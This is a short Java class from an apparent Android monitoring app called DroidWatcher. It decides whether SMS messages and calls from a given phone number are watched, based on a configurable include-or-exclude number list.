package com.droidwatcher.modules; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import com.droidwatcher.SettingsManager; import android.content.Context; public class FilterModule { private static List<String> list = null; /** * Watch for sms/call from numbers * 0 - only from list * 1 - except list */ private static int type = 0; private static Boolean enabled = false; public static synchronized Boolean isNumberFiltered(Context context, String number){ if (list == null) { init(context); } if (!enabled) { return false; } for (String n : list) { if (n.equals(number)) { return type == 1; } } return type == 0; } private static void init(Context context){ list = new ArrayList<String>(); try { SettingsManager settings = new SettingsManager(context); String filterString = settings.filterList(); if (filterString.length() > 0) { list = Arrays.asList(filterString.split(",")); } enabled = settings.isFilterEnabled(); type = Integer.parseInt(settings.filterType()); } catch (Exception e) { e.printStackTrace(); } } public static synchronized void reset(){ list = null; } }